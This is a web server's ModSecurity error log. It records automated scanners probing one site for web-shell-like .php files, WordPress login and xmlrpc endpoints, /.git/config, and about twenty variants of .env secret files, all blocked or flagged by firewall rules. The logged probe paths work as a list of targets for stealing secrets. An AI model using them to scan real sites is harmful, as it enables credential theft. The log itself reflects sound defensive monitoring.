[Sat Apr 18 23:28:38.642134 2026] [:error] [pid 9970:tid 9986] [client 20.203.141.81:58558] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeOjJiYdRLRhVmaIMx3x4AAAAMw"]
[Sat Apr 18 23:28:40.010836 2026] [:error] [pid 34288:tid 34299] [client 20.203.141.81:63742] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fss.php"] [unique_id "aeOjKOTIiy__PtiLmpnhCAAAAYc"]
[Sat Apr 18 23:28:40.693249 2026] [:error] [pid 34288:tid 34311] [client 20.203.141.81:56986] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fss.php"] [unique_id "aeOjKOTIiy__PtiLmpnhCwAAAZM"]
[Sat Apr 18 23:28:41.670042 2026] [:error] [pid 9864:tid 9923] [client 20.203.141.81:7454] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fss.php"] [unique_id "aeOjKYCFeowknfXHM7k4gAAAAFE"]
[Sat Apr 18 23:28:42.389065 2026] [:error] [pid 9864:tid 9927] [client 20.203.141.81:7461] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fss.php"] [unique_id "aeOjKoCFeowknfXHM7k4ggAAAFU"]
[Sat Apr 18 23:28:43.800299 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:57003] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeOjKyYdRLRhVmaIMx3x4wAAAMs"]
[Sat Apr 18 23:28:44.517883 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:7928] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeOjLP1e7hG8DAeABB9OTAAAARg"]
[Sat Apr 18 23:28:45.128586 2026] [:error] [pid 9864:tid 9928] [client 20.203.141.81:37939] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeOjLYCFeowknfXHM7k4hQAAAFY"]
[Sat Apr 18 23:28:45.639637 2026] [:error] [pid 9864:tid 9913] [client 20.203.141.81:58551] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeOjLYCFeowknfXHM7k4hwAAAEc"]
[Sat Apr 18 23:28:46.319316 2026] [:error] [pid 34290:tid 34319] [client 20.203.141.81:7872] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aeOjLhqX6WpmmAXOBi8wSwAAAcA"]
[Sat Apr 18 23:28:47.050602 2026] [:error] [pid 32678:tid 32715] [client 20.203.141.81:32781] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aeOjLxUlAXU_ZWUu5y8aFwAAAog"]
[Sat Apr 18 23:28:48.018363 2026] [:error] [pid 13023:tid 13035] [client 20.203.141.81:41193] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aeOjMP1e7hG8DAeABB9OUAAAAQo"]
[Sat Apr 18 23:28:48.922104 2026] [:error] [pid 9863:tid 9892] [client 20.203.141.81:8135] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/011i.php"] [unique_id "aeOjMDjjiypiFrTucbLcqgAAABM"]
[Sat Apr 18 23:28:49.502505 2026] [:error] [pid 34288:tid 34308] [client 20.203.141.81:31022] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aeOjMeTIiy__PtiLmpnhEAAAAZA"]
[Sat Apr 18 23:28:50.154522 2026] [:error] [pid 32678:tid 32708] [client 20.203.141.81:61815] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aeOjMhUlAXU_ZWUu5y8aGAAAAoE"]
[Sat Apr 18 23:28:50.821137 2026] [:error] [pid 9865:tid 9949] [client 20.203.141.81:61772] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aeOjMqzb5knECIY-C-itXAAAAIw"]
[Sat Apr 18 23:28:51.759756 2026] [:error] [pid 32678:tid 32728] [client 20.203.141.81:8152] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aeOjMxUlAXU_ZWUu5y8aGQAAApU"]
[Sat Apr 18 23:28:52.411764 2026] [:error] [pid 9865:tid 9951] [client 20.203.141.81:54847] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "aeOjNKzb5knECIY-C-itXQAAAI4"]
[Sat Apr 18 23:28:52.962739 2026] [:error] [pid 13023:tid 13037] [client 20.203.141.81:63720] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "aeOjNP1e7hG8DAeABB9OVgAAAQw"]
[Sat Apr 18 23:28:53.676844 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:32222] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "aeOjNf1e7hG8DAeABB9OWQAAAQk"]
[Sat Apr 18 23:28:54.566155 2026] [:error] [pid 9865:tid 9956] [client 20.203.141.81:51740] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "aeOjNqzb5knECIY-C-itXwAAAJM"]
[Sat Apr 18 23:28:55.126430 2026] [:error] [pid 9863:tid 9875] [client 20.203.141.81:32216] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeOjNzjjiypiFrTucbLcrgAAAAI"]
[Sat Apr 18 23:28:55.640005 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:58523] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeOjN6zb5knECIY-C-itYAAAAJc"]
[Sat Apr 18 23:28:56.226318 2026] [:error] [pid 9863:tid 9889] [client 20.203.141.81:32243] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeOjODjjiypiFrTucbLcsQAAABA"]
[Sat Apr 18 23:28:56.888024 2026] [:error] [pid 9863:tid 9888] [client 20.203.141.81:7325] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeOjODjjiypiFrTucbLctAAAAA8"]
[Sat Apr 18 23:28:57.513449 2026] [:error] [pid 32647:tid 32655] [client 20.203.141.81:31008] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcvejtpr.php"] [unique_id "aeOjOUkxooM0iRo6e542YQAAAgU"]
[Sat Apr 18 23:28:58.067851 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:47666] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcvejtpr.php"] [unique_id "aeOjOiYdRLRhVmaIMx3x6AAAAM0"]
[Sat Apr 18 23:28:58.566948 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:64197] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcvejtpr.php"] [unique_id "aeOjOiYdRLRhVmaIMx3x6QAAAMo"]
[Sat Apr 18 23:28:59.065277 2026] [:error] [pid 9970:tid 9977] [client 20.203.141.81:32790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcvejtpr.php"] [unique_id "aeOjOyYdRLRhVmaIMx3x6gAAAMM"]
[Sat Apr 18 23:28:59.581792 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:37892] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home.php"] [unique_id "aeOjOyYdRLRhVmaIMx3x7QAAAMc"]
[Sat Apr 18 23:29:00.116864 2026] [:error] [pid 9864:tid 9920] [client 20.203.141.81:54841] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home.php"] [unique_id "aeOjPICFeowknfXHM7k4lwAAAE4"]
[Sat Apr 18 23:29:00.607649 2026] [:error] [pid 34290:tid 34333] [client 20.203.141.81:64211] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home.php"] [unique_id "aeOjPBqX6WpmmAXOBi8wUAAAAc4"]
[Sat Apr 18 23:29:01.200673 2026] [:error] [pid 9864:tid 9918] [client 20.203.141.81:63710] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/home.php"] [unique_id "aeOjPYCFeowknfXHM7k4mgAAAEw"]
[Sat Apr 18 23:29:34.548049 2026] [:error] [pid 32678:tid 32714] [client 203.145.49.44:49305] [client 203.145.49.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.145.49.44, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeOjXhUlAXU_ZWUu5y8aLwAAAoc"]
[Sat Apr 18 23:29:34.559094 2026] [proxy_fcgi:error] [pid 32678:tid 32714] [client 203.145.49.44:49305] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 03:17:02.212156 2026] [:error] [pid 41277:tid 41292] [client 172.98.33.63:60439] [client 172.98.33.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.63, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aePYrkH3ayszMLZYflsQcwAAAY0"]
[Sun Apr 19 03:17:02.229813 2026] [proxy_fcgi:error] [pid 41277:tid 41292] [client 172.98.33.63:60439] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 05:33:06.232765 2026] [:error] [pid 15693:tid 15714] [client 18.216.107.76:57576] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aeP4ksNMD-ccazQlTskVdQAAAVI"]
[Sun Apr 19 05:33:07.265430 2026] [:error] [pid 47773:tid 47823] [client 18.216.107.76:57582] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aeP4k-iBHdnCJDuPq9BRiQAAAEc"]
[Sun Apr 19 05:33:08.100849 2026] [:error] [pid 15765:tid 15860] [client 18.216.107.76:57584] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "aeP4lPRqinw-W5EwQ76BewAAAoc"]
[Sun Apr 19 05:33:08.933693 2026] [:error] [pid 15765:tid 15866] [client 18.216.107.76:57596] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "aeP4lPRqinw-W5EwQ76BfgAAAo0"]
[Sun Apr 19 05:33:09.764710 2026] [:error] [pid 15764:tid 15844] [client 18.216.107.76:57604] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.staging"] [unique_id "aeP4lWLL_sqdSHoVp-TqPwAAAlI"]
[Sun Apr 19 05:33:10.588456 2026] [:error] [pid 47772:tid 47812] [client 18.216.107.76:57608] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development"] [unique_id "aeP4loc0L16cb4smAz-cigAAABc"]
[Sun Apr 19 05:33:11.409765 2026] [:error] [pid 15764:tid 15843] [client 18.216.107.76:57624] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.test"] [unique_id "aeP4l2LL_sqdSHoVp-TqQgAAAlE"]
[Sun Apr 19 05:33:12.292364 2026] [:error] [pid 47775:tid 47853] [client 18.216.107.76:57626] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "aeP4mLmztjlk9tsmoexvcwAAAIo"]
[Sun Apr 19 05:33:13.168818 2026] [:error] [pid 15760:tid 15785] [client 18.216.107.76:57632] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bak"] [unique_id "aeP4mfSdD_XHQMJ_ISsYGAAAAdE"]
[Sun Apr 19 05:33:14.055815 2026] [:error] [pid 15760:tid 15787] [client 18.216.107.76:52662] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.backup"] [unique_id "aeP4mvSdD_XHQMJ_ISsYHAAAAdM"]
[Sun Apr 19 05:33:14.894684 2026] [:error] [pid 47886:tid 47900] [client 18.216.107.76:52670] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.save"] [unique_id "aeP4mkSe8yiyuPrD7yPrFQAAAMw"]
[Sun Apr 19 05:33:15.737191 2026] [:error] [pid 15765:tid 15858] [client 18.216.107.76:52672] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.old"] [unique_id "aeP4m_Rqinw-W5EwQ76BhwAAAoU"]
[Sun Apr 19 05:33:16.571422 2026] [:error] [pid 47886:tid 47899] [client 18.216.107.76:52676] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sample"] [unique_id "aeP4nESe8yiyuPrD7yPrFwAAAMs"]
[Sun Apr 19 05:33:17.402500 2026] [:error] [pid 15760:tid 15775] [client 18.216.107.76:52686] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.example"] [unique_id "aeP4nfSdD_XHQMJ_ISsYIQAAAcc"]
[Sun Apr 19 05:33:18.221844 2026] [:error] [pid 15760:tid 15783] [client 18.216.107.76:52698] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "aeP4nvSdD_XHQMJ_ISsYJAAAAc8"]
[Sun Apr 19 05:33:19.062971 2026] [:error] [pid 15764:tid 15836] [client 18.216.107.76:52712] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.prod"] [unique_id "aeP4n2LL_sqdSHoVp-TqTwAAAko"]
[Sun Apr 19 05:33:19.890453 2026] [:error] [pid 47772:tid 47812] [client 18.216.107.76:52714] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.stage"] [unique_id "aeP4n4c0L16cb4smAz-clQAAABc"]
[Sun Apr 19 05:33:20.723895 2026] [:error] [pid 47773:tid 47819] [client 18.216.107.76:52716] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.ci"] [unique_id "aeP4oOiBHdnCJDuPq9BRkgAAAEM"]
[Sun Apr 19 05:33:21.559059 2026] [:error] [pid 47775:tid 47849] [client 18.216.107.76:52728] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "aeP4obmztjlk9tsmoexvggAAAIY"]
[Sun Apr 19 05:33:22.399122 2026] [:error] [pid 47775:tid 47865] [client 18.216.107.76:52740] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.live"] [unique_id "aeP4ormztjlk9tsmoexvhwAAAJY"]
[Sun Apr 19 05:33:23.254879 2026] [:error] [pid 15764:tid 15827] [client 18.216.107.76:52746] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.preprod"] [unique_id "aeP4o2LL_sqdSHoVp-TqUwAAAkE"]
